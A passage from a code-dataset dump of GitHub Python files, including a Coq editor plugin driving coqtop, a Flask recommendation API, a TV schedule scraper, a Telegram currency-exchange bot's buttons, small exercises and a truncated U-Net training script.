Exception(\"Could not figure out how to launch Coq\")\n        coq_version, coq_cmd = coq_launch_info\n\n        self.coq_version = coq_version\n\n        coq_cmd = list(coq_cmd)\n        coq_cmd.extend(extra_args)\n\n        if working_dir is not None:\n            project_file = self.find_coqproject_file(working_dir)\n            if project_file is not None:\n                working_dir = os.path.dirname(project_file)\n                with open(project_file, \"r\") as f:\n                    coq_cmd.extend(shlex.split(f.read()))\n\n        self.verbose = verbose\n\n        print(\"Starting `{}` version {} in {}\".format(\" \".join(coq_cmd), coq_version, working_dir))\n        self.proc = subprocess.Popen(\n            coq_cmd,\n            bufsize=0,\n            cwd=working_dir,\n            stdin=subprocess.PIPE,\n            stdout=subprocess.PIPE)\n\n        self.decoder = codecs.getincrementaldecoder(CHARSET)()\n\n    def print(self, value):\n        if self.verbose:\n            print(value)\n\n    def find_coqproject_file(self, dir):\n        if dir.endswith(\"/\"):\n            dir = dir[:-1]\n        if not dir:\n            return None\n        project_file = os.path.join(dir, \"_CoqProject\")\n        if os.path.isfile(project_file):\n            return project_file\n        if dir != \"/\":\n            return self.find_coqproject_file(os.path.dirname(dir))\n        return None\n\n    def send(self, text):\n        \"\"\"\n        Send the given text to coqtop. Yields XML tags found in the response.\n        For proper operation, clients must always exhaust this generator.\n        \"\"\"\n        if not self.alive:\n            raise StoppedException()\n\n        try:\n            if text[-1] != \"\\n\":\n                text += \"\\n\"\n            self.print(\"sending: {}\".format(text.encode(\"unicode-escape\")))\n\n            # Send\n            self.proc.stdin.write(text.encode(CHARSET))\n            self.proc.stdin.flush()\n            self.print(\"sent\")\n\n            # Recieve until we find <value>...</value>\n            xm = util.XMLMuncher()\n            done = False\n            while not done:\n                buf = self.proc.stdout.read(1024)\n                try:\n                    response = self.decoder.decode(buf)\n                except UnicodeDecodeError as e:\n                    self.print(\"{}\".format(list(\"{:x}\".format(b) for b in buf)))\n                    raise e\n                self.print(\"got partial response: {}\".format(response))\n                if not response:\n                    raise Exception(\"coqtop died!\")\n                for xml in xm.process(response):\n                    yield xml\n                    if isinstance(xml, util.XMLTag) and xml.tag == \"value\":\n                        done = True\n                        self.print(\"--- DONE ---\")\n        except:\n            if not self.alive:\n                raise StoppedException()\n            else:\n                raise\n\n    def stop(self):\n        \"\"\"\n        Stop the underlying coqtop process.\n        \"\"\"\n        with self.stop_lock:\n            p = getattr(self, \"proc\", None)\n            should_stop = getattr(self, \"alive\", False)\n            self.alive = False\n\n        if p is not None and should_stop:\n            p.terminate()\n            ret = p.wait()\n            print(\"coqtop exited with status {}\".format(ret))\n            self.proc = None\n\nTOKENS = (\n    (\"open_comment\",  re.compile(r'\\(\\*')),\n    (\"close_comment\", re.compile(r'\\*\\)')),\n    (\"string\",        re.compile(r'\"[^\"]*\"')),\n    (\"whitespace\",    re.compile(r'\\s+')),\n    (\"word\",          re.compile(r'\\w+')),\n    (\"dotdot\",        re.compile(r'\\.\\.')), # e.g. Notation \"'{{' x ; y ; .. ; z '}}'\" := (Add _ (Add _ .. (Add _ ø z) .. y) x).\n    (\"fullstop\",      re.compile(r'\\.(?=\\s|$)')),\n)\n\ndef tokens(text, start=0, end=None):\n    i = start\n    comment_depth = 0\n    while i < len(text):\n        name = \"other\"\n        match = text[i]\n        for n, regex in TOKENS:\n            m = regex.match(text, pos=i)\n            if m and n == \"symbol\" and (\"(*\" in m.group(0) or \"*)\" in m.group(0)):\n                m = None\n            if m:\n                name = n\n                match = m.group(0)\n                break\n\n        if (end is not None) and (i + len(match) > end):\n            break\n\n        if name == \"open_comment\":\n            comment_depth += 1\n        elif name == \"close_comment\":\n            comment_depth -= 1\n        elif name == \"whitespace\":\n            pass\n        elif comment_depth == 0:\n            yield (i, name, len(match), match)\n        i += len(match)\n\n\nBULLET_CHARS = { \"-\", \"+\", \"*\", \"{\", \"}\" }\nBULLET_CHARS_REGEX = re.compile(r\"\\s*[\" + re.escape(\"\".join(BULLET_CHARS)) + r\"]\")\ndef find_first_coq_command(text, start=0, end=None):\n    \"\"\"Find the first Coq command in `text[start:end]`.\n\n    The return value is the index one past the end of the command, such that\n    `text[start:RETURN_VALUE]` gives the text of the command.\n\n    If no command is present, this function returns None.\n    \"\"\"\n\n    is_first = True\n    for token_pos, token_type, token_len, token_text in tokens(text, start, end):\n\n        # Bullet characters in Ltac require some care; each is its own command\n        if is_first:\n            match = BULLET_CHARS_REGEX.match(token_text)\n            if match:\n                return token_pos + match.end()\n\n        # Otherwise, commands end in fullstops\n        if token_type == \"fullstop\":\n            return token_pos + 1\n\n        is_first = False\n\n    return None\n\ndef find_last_coq_command(text, start=0, end=None):\n    \"\"\"Find the last full Coq command in `text[start:end]`.\n\n    The return value is the index one past the end of the second-to-last\n    command, which is suitable to rewind, or None if there is no full command.\n\n    This is a naive version that parses all of the buffer.\n    \"\"\"\n\n    end_of_previous = None\n    while True:\n        end_of_current = find_first_coq_command(text, start, end)\n\n        if end_of_current is None:\n            return end_of_previous\n        else:\n            end_of_previous = start\n            start = end_of_current\n\n    return None\n\n\ndef pr(e, depth=0):\n    print(\"{}{}\".format(\" \" * depth, e))\n    if e:\n        for x in e:\n            pr(x, depth + 2)\n\n\ndef text_of(xml):\n    return \"\".join(xml.itertext())\n\n\ndef find_child(xml, tag_name):\n    for res in xml.iter(tag_name):\n        return res\n    raise ValueError(\"{} has no {} child\".format(xml, tag_name))\n\n\ndef get_state_id(xml):\n    assert xml.tag == \"value\"\n    return int(find_child(xml, \"state_id\").attrib.get(\"val\"))\n\n\nclass CoqException(Exception):\n    def __init__(self, message, bad_ranges=()):\n        super().__init__(message)\n        self.bad_ranges = bad_ranges\n\n\nclass _CoqExceptionAtState(CoqException):\n    def __init__(self, message, state_id):\n        super().__init__(message)\n        self.state_id = state_id\n\n\nclass CoqGoalResponse(object):\n    \"\"\"A response to Coqtop's Goal command.\n\n    This class wraps the following information of the response:\n      - feedback() returns a list of feedback messages\n      - goals() returns a list of goals from one or all categories\n        (\"focused\", \"bg-before\", \"bg-after\", \"shelved\", or \"admitted\")\n      - goal_count() returns the amount of focused goals (usually the visible\n        ones)\n\n    Each goal is represented by a pair (hyps, goal) where [hyps] is list of\n    strings like \"H: P x\" and [goal] is a string like \"P y\".\n    \"\"\"\n\n    def __init__(self, xml, coq_version):\n        self.messages = []\n        self._goals = {\n            \"focused\": [],\n            \"shelved\": [],\n            \"admitted\": [],\n        }\n        self._bg_goals = []\n        self.in_proof = False\n\n        for x in xml:\n            if x.tag == \"feedback\":\n                for msg in x.iter(\"message\"):\n                    self.messages.append(text_of(msg))\n\n            if x.tag == \"value\":\n                if x.attrib.get(\"val\") != \"good\":\n                    state_id = get_state_id(x)\n                    raise _CoqExceptionAtState(text_of(x), state_id)\n\n                goal_lists = next(x.iter(\"goals\"), None)\n                if goal_lists is None:\n                    continue\n\n                self.in_proof = True\n\n                for i, node in enumerate(goal_lists.contents):\n                    if i == 0:\n                        self._goals[\"focused\"] += list(node.iter(\"goal\"))\n                    elif i == 1:\n                        for pair in node.iter(\"pair\"):\n                            before, after = pair.contents\n                            before = list(before.iter(\"goal\"))\n                            after = list(after.iter(\"goal\"))\n                            self._bg_goals.append((before, after))\n                    elif i == 2:\n                        self._goals[\"shelved\"] += list(node.iter(\"goal\"))\n                    elif i == 3:\n                        self._goals[\"admitted\"] += list(node.iter(\"goal\"))\n\n        # Separate context (hypotheses) and goal\n        for goals in self._goals.values():\n            for i, tag in enumerate(goals):\n                goals[i] = self._split_goal(tag, coq_version)\n        for before, after in self._bg_goals:\n            for i, tag in enumerate(before):\n                before[i] = self._split_goal(tag, coq_version)\n            for i, tag in enumerate(after):\n                after[i] = self._split_goal(tag, coq_version)\n\n    def _split_goal(self, goal_tag, coq_version):\n        \"\"\"Separate context (hypotheses) and goal from a goal tag.\"\"\"\n        if coq_version >= (8,6):\n            strs = list(goal_tag.iter(\"richpp\"))\n        else:\n            strs = list(goal_tag.iter(\"string\"))[1:]\n        return (strs[:-1], strs[-1])\n\n    def feedback(self):\n        return self.messages[:]\n\n    def is_in_proof(self):\n        return self.in_proof\n\n    def goals(self, category):\n        if category not in self._goals:\n            raise ValueError(\"invalid goal category '{}'\".format(category))\n\n        return self._goals[category][:]\n\n    def bg_goals(self):\n        return self._bg_goals\n\n    def goal_count(self):\n        return len(self.goals[\"current\"])\n\n\nclass CoqBot(object):\n    \"\"\"A high-level wrapper around Coq's XML API.\n\n    This class has several key methods:\n      - append() to send the next command in a text buffer to Coq\n      - sent_buffer() to read previously-sent commands\n      - current_goal() to read the current goal\n      - rewind_to() to rewind to an earlier point in the text buffer\n      - stop() to halt the underlying process\n\n    This class implements \"stop-safety\" (see above).\n    \"\"\"\n\n    def __init__(self, coq_install_dir, extra_args=(), working_dir=None, verbose=False):\n        self.verbose = verbose\n        self.coqtop = CoqtopProc(\n            coq_install_dir=coq_install_dir,\n            extra_args=extra_args,\n            working_dir=working_dir,\n            verbose=verbose)\n        self.coq_version = self.coqtop.coq_version\n        self.cmds_sent = [] # list of (command, state_id_before_command, output_of_command)\n\n        self.state_id = None\n        for parsed in self.coqtop.send('<call val=\"Init\"><option val=\"none\"/></call>'):\n            if parsed.tag == \"value\":\n                self.state_id = get_state_id(parsed)\n        if self.state_id is None:\n            raise Exception(\"did not get an initial state ID from coqtop\")\n\n    def print(self, value):\n        if self.verbose:\n            print(value)\n\n    def _append_and_check_response(self, xml_command, command_text):\n        \"\"\"Send the given XML string to Coq.\n\n        The command_text parameter is used to convert byte ranges in Coq's\n        output into character ranges.\n\n        Returns (feedback_text, value_tag) or throws CoqException.\n        \"\"\"\n\n        value_tag = None\n        feedback_text = \"\"\n        for parsed in self.coqtop.send(xml_command):\n            if parsed.tag == \"feedback\":\n                for msg in parsed.iter(\"message\"):\n                    feedback_text += text_of(msg) + \"\\n\"\n            if parsed.tag == \"value\":\n                if parsed.attrib.get(\"val\") == \"good\":\n                    value_tag = parsed\n                else:\n                    print(\"Error!\")\n                    pr(parsed)\n                    error = text_of(parsed).strip()\n                    if not error:\n                        error = \"(unknown error)\"\n\n                    bad_ranges = []\n\n                    start = parsed.attrib.get(\"loc_s\")\n                    end = parsed.attrib.get(\"loc_e\")\n                    if start and end:\n                        start = util.byte_to_character_offset(command_text, int(start), charset=CHARSET)\n                        end = util.byte_to_character_offset(command_text, int(end), charset=CHARSET)\n                        bad_ranges.append((start, end))\n\n                    raise CoqException(error, bad_ranges=bad_ranges)\n\n        assert value_tag is not None\n        return (feedback_text.strip(), value_tag)\n\n    def append(self, text, start=0, end=None, verbose=False):\n        \"\"\"Send the first command in `text[start:end]` to Coq.\n\n        Returns the new offset after processing the first command in\n        text[start:end], such that `text[start:RETURN_VALUE]` is what was sent.\n\n        Appends the sent command to this object's \"sent buffer\" (see\n        `rewind_to(...)`).\n\n        Returns 0 if there is no command in the given text.\n\n        Throws CoqException if Coq reports an error.  Throws other kinds of\n        exceptions if there is some problem communicating with the CoqTop\n        process.\n\n        NOTE: In some cases, this procedure does look at characters past `end`,\n        if any exist.  For instance, these two strings need to be interpreted\n        differently:\n\n                                 end\n                                  v\n            'f'   'o'   'o'   '.'   ' '   'b'   'a'   'r'\n            'f'   'o'   'o'   '.'   'b'   'a'   'r'\n\n        The first contains a complete command 'foo.' while the second contains\n        a qualified name 'foo.bar'.\n\n        NOTE: To send multiple commands, use a loop.  For instance:\n\n            idx = 0\n            while True:\n                n = bot.append(text, start=idx)\n                if n == 0:\n                    break\n                else:\n                    # Optional: update display\n                    idx = n\n        \"\"\"\n\n        index_of_end_of_command = find_first_coq_command(text, start, end)\n\n        if index_of_end_of_command:\n            coq_cmd = text[start:index_of_end_of_command]\n\n            if self.coq_version >= (8,15):\n                to_send = \"\"\"\n                    <call val=\"Add\">\n                      <pair>\n                        <pair>\n                          <pair>\n                            <pair>\n                              <string>{command}</string>\n                              <int>{edit_id}</int>\n                            </pair>\n                            <pair>\n                              <state_id val=\"{state_id}\"/>\n                              <bool val=\"{verbose}\"/>\n                            </pair>\n                          </pair>\n                          <int>{bp}</int>\n                        </pair>\n                        <pair>\n                          <int>{line_nb}</int>\n                          <int>{bol_pos}</int>\n                        </pair>\n                      </pair>\n                    </call>\n                    \"\"\".format(\n                    command=util.xml_encode(coq_cmd),\n                    edit_id=0,\n                    state_id=self.state_id,\n                    verbose=\"true\" if verbose else \"false\",\n                    bp=0,\n                    line_nb=0,\n                    bol_pos=0)\n            elif self.coq_version >= (8,5):\n                to_send = '<call val=\"Add\"><pair><pair><string>{cmd}</string><int>1</int></pair><pair><state_id val=\"{state_id}\"/><bool val=\"{verbose}\"/></pair></pair></call>'.format(\n                    cmd=util.xml_encode(coq_cmd),\n                    state_id=self.state_id,\n                    verbose=\"true\" if verbose else \"false\")\n            else:\n                to_send = '<call val=\"interp\" id=\"0\">{}</call>'.format(util.xml_encode(coq_cmd))\n\n            feedback_text, value_tag = self._append_and_check_response(to_send, coq_cmd)\n            state_id = get_state_id(value_tag)\n            original_state_id = self.state_id\n            self.cmds_sent.append((coq_cmd, original_state_id, feedback_text))\n            self.state_id = state_id\n\n            self.print(\"sending status query\")\n            try:\n                more_feedback_text, _ = self._append_and_check_response('<call val=\"Status\"><bool val=\"{force}\"/></call>'.format(force=\"true\"), coq_cmd)\n            except CoqException:\n                # If coq accepts the Add command, then it has moved us to a new\n                # state id.  We really do have to tell it we want to go back to\n                # an earlier state if the command fails.\n                self._rewind_to(len(self.cmds_sent) - 1)\n                raise\n\n            # The force can result in more important feedback, which we have to\n            # add to our log.\n            self.cmds_sent[-1] = (coq_cmd, original_state_id, feedback_text + more_feedback_text)\n\n        return index_of_end_of_command or 0\n\n    def current_goal(self):\n        \"\"\"Read the current goal.\n\n        Returns text indicating how many unproven goals remain and showing the\n        focused goal.\n        \"\"\"\n\n        self.print(\"asking for goal\")\n        if self.coq_version >= (8,5):\n            response = self.coqtop.send('<call val=\"Goal\"><unit/></call>')\n        else:\n            response = self.coqtop.send('<call val=\"goal\"></call>')\n        response = CoqGoalResponse(response, self.coq_version)\n        feedback_text = self.cmds_sent[-1][2] if self.cmds_sent else \"\"\n        return feedback_text, response\n\n    def _rewind_to(self, index_of_earliest_undone_command):\n        if index_of_earliest_undone_command == len(self.cmds_sent):\n            return\n        _, state_to_rewind_to, _ = self.cmds_sent[index_of_earliest_undone_command]\n        to_send = '<call val=\"Edit_at\"><state_id val=\"{}\"/></call>'.format(state_to_rewind_to)\n        for parsed in self.coqtop.send(to_send):\n            pass\n        self.cmds_sent = self.cmds_sent[0:index_of_earliest_undone_command]\n        self.state_id = state_to_rewind_to\n\n    def rewind_to(self, idx):\n        \"\"\"Rewind to an earlier state.\n\n        This procedure rewinds to the end of the last command which ends before\n        `idx` in this object's \"sent buffer\".  The `append(...)` call adds\n        commands to the sent buffer.\n\n        Returns the resulting index.\n        \"\"\"\n\n        index_of_earliest_undone_command = None\n        count = 0\n        for i, (cmd, state_id, _) in enumerate(self.cmds_sent):\n            new_count = count + len(cmd)\n            if new_count > idx:\n                index_of_earliest_undone_command = i\n                break\n            count = new_count\n\n        if index_of_earliest_undone_command is not None:\n            self._rewind_to(index_of_earliest_undone_command)\n        else:\n            print(\"WARNING: cannot rewind to {} (too large)\".format(idx))\n\n        return count\n\n    def sent_buffer(self):\n        for cmd_text, _, _ in self.cmds_sent:\n            yield cmd_text\n\n    def stop(self):\n        self.coqtop.stop()\n","repo_name":"Calvin-L/sublime-coq-plugin","sub_path":"coq.py","file_name":"coq.py","file_ext":"py","file_size_in_byte":23478,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"35650766646","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 21 09:58:00 2021\r\n\r\n@author: marco.sinche\r\n\"\"\"\r\n\r\nusr_ing=\"\"\r\nwhile usr_ing.upper() != \"SALIR\":\r\n    print(usr_ing)\r\n    usr_ing=input(\"Ingrese una palabra o frase: \")\r\nelse:\r\n    print(\"Programa temrinado\")\r\n\r\n\r\n    \r\n    \r\n    \r\n    \r\n    ","repo_name":"marcosinche/Curso-CEC-Python-Essentials","sub_path":"Script 6.py","file_name":"Script 6.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"31388165915","text":"from flask import Flask, jsonify, request\nfrom flask_cors import CORS\nimport json\nfrom collections import defaultdict\n\napp = Flask(__name__)\nCORS(app)\nb = []\noviousSet = ['mua:transaction_type', 'bán:transaction_type', 'tp . hcm:addr_city']\nwith open('frequentItemsFP.json', 'r', encoding='utf8') as f:\n    frequent = json.load(f)\n    for i, val in frequent.items():\n        for j in val:\n            j = list(set(j).difference(set(oviousSet)))\n            b.append(j)\n\n@app.route('/')\ndef index():\n    return \"Index API\"\n\n\ndef convertToSetInput(a):\n    list = []\n    for i in a:\n        list.append(i['content']+':'+i['type'])\n    return list\n\ndef convertToListInput(a):\n    list = []\n    for i in a:\n        dic = {}\n        con, tag = i.split(':')\n        dic['content'] = con\n        dic['type'] = tag\n        list.append(dic)\n    return list\n\ndef convertion(list):\n    results = {}\n    for i in list:\n        results[i['type']] = []\n    for i in list:\n        results[i['type']].append(i['content'])\n    return results\n\ndef findinrule(a):\n    c = defaultdict(int)\n    for i in b:\n        if(set(a).issubset(set(i))):\n            for f in set(i).difference(set(a)):\n                c[f] += 1\n    return c\n\ndef permutation(loi,results,per,count = 1):\n    res = []\n    for i in results:\n        for j in loi:\n            if(type(i)==str):\n                i = set({i})\n            temp = i.union({j})\n            if(len(temp)==count):\n                res.append(temp)\n    res = [set(x) for x in set(tuple(x) for x in res)]\n    if(count<per):\n        count+=1\n        return permutation(loi,res,per,count)\n    else:\n        return res\n\ndef fixlogic(loi):\n    result = []\n    best = 0\n    for j in range(1,len(loi)):\n        per = permutation(loi,loi,j)\n        for i in per:\n            print(i)\n            temp = list(set(loi).difference(i))\n            print(temp)\n            c = findinrule(temp)\n            print(c)\n            sumup = 0\n            for key,val in c.items():\n                sumup+=val\n            if(sumup > best):\n                result = c\n                best = sumup\n                print(best)\n                bad = i\n        if(result and bad):\n            break\n    return result,bad\n\n\n@app.route('/recom/v1/posts', methods=['POST'])\ndef analyze_query():\n    req = request.json\n    num = req[\"numre\"]\n    bad = []\n    a = convertToSetInput(req[\"tags\"])\n    a = list(set(a).difference(set(oviousSet)))\n    print(a)\n    c = findinrule(a)\n    if(not c):\n        c , bad = fixlogic(a)\n        bad = convertToListInput(bad)\n    results = sorted(c, key=c.__getitem__, reverse=True)\n    if len(results) > num:\n        temp = []\n        for n in range(num):\n            temp.append(results[n])\n        temp = convertToListInput(temp)\n        temp = convertion(temp)\n        if(bad):\n            temp[\"bad_aspect\"] = bad\n        print(temp)\n        return jsonify(temp)\n    else:\n        results = convertToListInput(results)\n        results = convertion(results)\n        if(bad):\n            results[\"bad_aspect\"] = bad\n        print(results)\n        return jsonify(results)\n\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=5400)","repo_name":"thaithanh21/realEstateChatbot2-2","sub_path":"frequent-api/recommend-app/Api.py","file_name":"Api.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12120169352","text":"import datetime\nimport itertools\nimport pytz\nimport requests\nimport lxml.etree\nfrom tv_schedule import schedule, dateutil\n\n\ndef need_channel_code():\n    return False\n\n_URL = 'http://www.tvrus.eu/components/com_tvrus_eu/ajaxserver.php?'\n_source_tz = pytz.timezone('CET')\n_daydelta = datetime.timedelta(1)\n_parser = lxml.etree.HTMLParser(encoding='utf-8')\n\n\ndef get_schedule(channel, tz):\n    if channel != 'TVRUS':\n        return []\n\n    today = dateutil.tv_date_now(_source_tz)\n    weekday_now = today.weekday()\n    sched = schedule.Schedule(tz, _source_tz)\n\n    params = {'action': 'programm'}\n    d = today\n    for i in range(weekday_now, 7):\n        sched.set_date(d)\n        params['date'] = d.strftime('%Y-%m-%d')\n        resp = requests.get(_URL, params)\n        doc = lxml.etree.fromstring(resp.content, _parser)\n        pmcontent = doc[0][0][0][0][1:]\n        for event in itertools.chain(*(x[0][0] for x in pmcontent)):\n            it = event.iterchildren()\n            sched.set_time(next(it).text)\n            sched.set_title(next(it).text.rstrip())\n        d += _daydelta\n    return sched.pop()\n","repo_name":"eugene-a/TvSchedule","sub_path":"tv_schedule/source/tvrus.py","file_name":"tvrus.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12081597268","text":"from aiogram import types\nfrom aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup, KeyboardButton\nfrom aiogram.utils.callback_data import CallbackData\nfrom SQLBD import SQL\n\nSQL = SQL()\n\nfrom messages.order_messages import give_currency_to_LKR, format_number_with_spaces\n\nrefresh = InlineKeyboardButton(\"Обновить\", callback_data=\"Refresh\")\nmenu = InlineKeyboardButton(\"Назад\", callback_data=\"Refresh\")\nactiviti_check = InlineKeyboardButton(\"Посмотреть активность\", callback_data=\"check_activiti\")\nsend_message = InlineKeyboardButton(\"Текст для отправки\", callback_data=\"send_message\")\nvietnam_currency = InlineKeyboardButton(\"Курсы по вьетнаму\", callback_data=\"vietnam_currency\")\n\n\norder_admin = InlineKeyboardButton(\"Сделки\", callback_data=\"orders_admin\")\nnew_agent = InlineKeyboardButton(\"Добавить нового агента\", callback_data=\"new_agent\")\nopen_orders = InlineKeyboardButton(\"Посмотреть открытые сделки\", callback_data=\"open_orders\")\nall_orders = InlineKeyboardButton(\"Посмотреть закрытые сделки\", callback_data=\"all_orders\")\ncalkulator = InlineKeyboardButton(\"Калькулятор\", callback_data=\"calkulator\")\n\nrus_help = InlineKeyboardButton(\"Нужна русскоязычная помощь\", callback_data=\"rus_help\")\n\nagents = InlineKeyboardButton(\"Агенты\", callback_data=\"agents\")\n\n\norder = InlineKeyboardButton(\"Сделать заказ\", callback_data=\"new_order\")\ngive_contact = KeyboardButton('Отправить свой контакт', request_contact=True, )\n\n\ndef cancelOperation():\n    \"\"\"Кнопка закрывания текущего действия\"\"\"\n    return InlineKeyboardMarkup(\n        inline_keyboard=[[InlineKeyboardButton(f'Галя, у нас отмена!!!', callback_data=\"cancel\")]])\n\n\nlocations = [\n    \"Коломбо\",\n    \"Галле\",\n    \"Унаватуна\",\n    \"Велигама\",\n    \"Мирисса\",\n    \"Матара\",\n    \"Канди\",\n    \"Элла\"\n]\n\nstart_order = CallbackData('w', 'what')\ndef make_button_locations():\n    buttons = InlineKeyboardMarkup(row_width=1)\n    button_list = [InlineKeyboardButton(text=city, callback_data=start_order.new(what=city)) for city in locations]\n    return buttons.add(*button_list)\n\ntake_order = CallbackData('a', 'number')\ndef take_order_work(numm):\n    return InlineKeyboardButton(text=f'Взять сделку {numm} в работу', callback_data=take_order.new(number=numm))\n\ncontinue_order = CallbackData('s', 'where', 'how_much')\ndef order_count_money(location):\n    buttons = InlineKeyboardMarkup(row_width=1)\n    prices = []\n    tourist_place = ['Галле', 'Унаватуна', 'Велигама', 'Мирисса', 'Матара']\n    if location in tourist_place:\n        prices = ['50 000', '100 000', '200 000', '400 000']\n    elif location == 'Коломбо':\n        prices = ['300 000', '600 000', '800 000', '1 000 000']\n    elif location == 'Канди' or location == 'Элла':\n        prices = ['80 000', '100 000', '150 000', '200 000']\n    button_list = [InlineKeyboardButton(text=f\"Заказать {price} LKR\",\n                                        callback_data=continue_order.new(where=location, how_much=price))\n                                        for price in prices]\n    return buttons.add(*button_list).add(menu)\n\ndef write_customer(message: types.Message):\n    button_url = f'tg://openmessage?user_id={message.chat.id}'\n    return InlineKeyboardButton(text=f'написать {message.chat.first_name}',\n                                url=button_url)\n\nlocal_order = CallbackData('b', 'agentID', 'currency')\ndef choice_currency_local(agentID):\n    buttons = InlineKeyboardMarkup(row_width=2)\n    rub = InlineKeyboardButton(text=f'Поменять рубли', callback_data=local_order.new(agentID=agentID, currency='rub'))\n    usdt = InlineKeyboardButton(text=f'Поменять USDT', callback_data=local_order.new(agentID=agentID, currency='usdt'))\n    buttonList = buttons.add(rub, usdt)\n    return buttonList\n\nchoise_count_money = CallbackData('c', 'agentID', 'currency', 'count')\ndef choice_count_money_local(agentID, currency):\n    agent_percent = SQL.CheckAgent(agentID)[4]\n    rate = give_currency_to_LKR(currency, agent_percent)\n    buttons = InlineKeyboardMarkup(row_width=1)\n    prices = [100000, 200000]\n    if currency == 'rub':\n        button_list = [InlineKeyboardButton(text=f'{format_number_with_spaces(price / rate)} @ {currency} = {price} LKR',\n                                        callback_data=choise_count_money.new(agentID=agentID, currency=currency, count=price))\n                                        for price in prices]\n    else:\n        button_list = [InlineKeyboardButton(text=f'{round(price / rate, 2)} @ {currency} = {price} LKR',\n                                        callback_data=choise_count_money.new(agentID=agentID, currency=currency, count=price))\n                                        for price in prices]\n    return buttons.add(*button_list)\n\nback_to_main_menu = CallbackData('d', 'agentID')\ndef mainmenuButton(agentID):\n    button = InlineKeyboardButton(text='Назад', callback_data=back_to_main_menu.new(agentID=agentID))\n    return button\n\nenother_money = CallbackData('d', 'agentID', 'currency')\ndef enother_money_button(agentID, currency):\n    button = InlineKeyboardButton(text='Другая сумма', callback_data=enother_money.new(agentID=agentID, currency=currency))\n    return button","repo_name":"gogynogy/parser_binance","sub_path":"buttons.py","file_name":"buttons.py","file_ext":"py","file_size_in_byte":5560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70616725799","text":"def test_docs_chain_example():\n    from slist import Slist\n\n    result = (\n        Slist([1, 2, 3])\n        .repeat_until_size_or_raise(20)\n        .grouped(2)\n        .map(lambda inner_list: inner_list[0] + inner_list[1] if inner_list.length == 2 else inner_list[0])\n        .flatten_option()\n        .distinct_by(lambda x: x)\n        .map(str)\n        .reversed()\n        .mk_string(sep=\",\")\n    )\n    assert result == \"5,4,3\"\n","repo_name":"thejaminator/slist","sub_path":"tests/test_docs.py","file_name":"test_docs.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"}
{"seq_id":"27295580985","text":"def make_bricks(small, big, goal):\n\t'''\n\tWe want to make a row of bricks that is goal inches long. We have a number of small bricks (1 inch each) \n\tand big bricks (5 inches each). Return True if it is possible to make the goal by choosing from the given \n\tbricks. This is a little harder than it looks and can be done without any loops. \n\n\tmake_bricks(3, 1, 8) --> True\n\tmake_bricks(3, 1, 9) --> False\n\tmake_bricks(3, 2, 10) --> True\n\t'''\n\n\tbig_needed = goal / 5\n\tsmall_needed = goal % 5\n\tif big >= big_needed:\n\t\t# we have enough big bricks needed, but we need enough small bricks too\n\t\treturn small >= small_needed \n\telse:\n\t\t# we have insufficient big bricks, so we need enough small bricks to make up the difference too\t\n\t\tsmall_needed = goal - big * 5\n\t\treturn small >= small_needed\n","repo_name":"reborncodelover/CodingBat","sub_path":"make_brick.py","file_name":"make_brick.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27305087541","text":"from openpyxl import Workbook, load_workbook\nimport os\n\nplanilha = load_workbook('Pasta1.xlsx')\n\n#Alterado  uma CELULA\nplanilha.active['A1'] = 'LEGAL'\n\n#Alterando CELULAS especificas de uma COLUNA\nfor celula in planilha.active['A']:\n    linha = celula.row\n    if celula.value == 'D':\n        planilha.active[f'B{linha}'] = 'ALTERADO'\n\n#Alterando COLUNA inteira\nfor celula in planilha.active['C']:\n    linha = celula.row\n    planilha.active[f'C{linha}'] = 'ALTERADO'\n\nplanilha.save('Planilha.xlsx')\nos.startfile('Planilha.xlsx')","repo_name":"GlicioOliveiraJr/Cadastrador","sub_path":"botcadastrador/botcadastrador/RenomearColuna.py","file_name":"RenomearColuna.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36862942585","text":"#!/usr/bin/env python3\nimport datetime\nimport os\n\nimport numpy as np\nimport tensorflow as tf\nfrom keras import backend as K\nfrom sklearn.model_selection import KFold\nfrom tensorflow import keras\nfrom tensorflow.keras.layers import (\n    Activation,\n    BatchNormalization,\n    Concatenate,\n    Conv2D,\n    Conv2DTranspose,\n    Input,\n    MaxPool2D,\n)\nfrom tensorflow.keras.losses import CategoricalCrossentropy\nfrom tensorflow.keras.metrics import BinaryIoU, MeanIoU\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.optimizers import Adam\nfrom tqdm import tqdm\n\nfrom utils import prep_data\n\n# Config\nBASE_LOGS_DIR = \"logs\"\nDATA_DIR = \"data\"\nSET_NAMES = [\"classes_2\"]\nSELECT_LABELS = [2]\nN_CLASSES = 1\nMULTICLASS = False\nMASK_VALUE = -1\n\n# Hyperparams\nN_FOLDS = 5\nEPOCHS = 50\nETA = 1e-2\nBATCH_SIZE = 4\n\ntf.get_logger().setLevel(\"ERROR\")\n\n\n# Construct the U-Net\ndef conv_block(input, num_filters):\n    x = Conv2D(num_filters, 3, padding=\"same\")(input)\n    x = BatchNormalization()(x)\n    x = Activation(\"relu\")(x)\n    x = Conv2D(num_filters, 3, padding=\"same\")(x)\n    x = BatchNormalization()(x)\n    x = Activation(\"relu\")(x)\n    return x\n\n\ndef encoder_block(input, num_filters):\n    x = conv_block(input, num_filters)\n    p = MaxPool2D((2, 2))(x)\n    return x, p\n\n\ndef decoder_block(input, skip_features, num_filters):\n    x = Conv2DTranspose(num_filters, (2, 2), strides=2, padding=\"same\")(input)\n    x = Concatenate()([x, skip_features])\n    x = conv_block(x, num_filters)\n    return 